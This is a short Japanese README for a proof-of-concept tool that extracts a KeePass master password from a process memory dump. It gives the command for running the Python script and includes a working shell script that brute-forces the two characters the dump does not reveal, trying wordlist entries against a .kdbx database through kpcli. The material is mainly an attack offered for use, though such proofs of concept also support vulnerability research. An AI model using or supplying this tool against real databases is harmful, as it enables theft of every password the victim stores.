keepass-dump-masterkey

使用方法

python3 poc.py <PathToDmp>

プレビュー

注意点: 1文字目はダンプで見つかりません。2文字目に関しては、スクリプトは少数の可能性しか提示しません。いずれにせよ、以下のスクリプトで2文字のブルートフォースを実行することを推奨します。

#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
    echo "Using password: \"$i\""
    echo "$i" | kpcli --kdb=$1 && exit 0
done < $2

このスクリプトは物理マシンの場合に非常にうまく動作しますが、仮想マシンの場合は安定しないようです。

ちなみに: このプロジェクトのPythonスクリプトは、以下のプロジェクトの読み取りに従っています: https://github.com/vdohney/keepass-password-dumper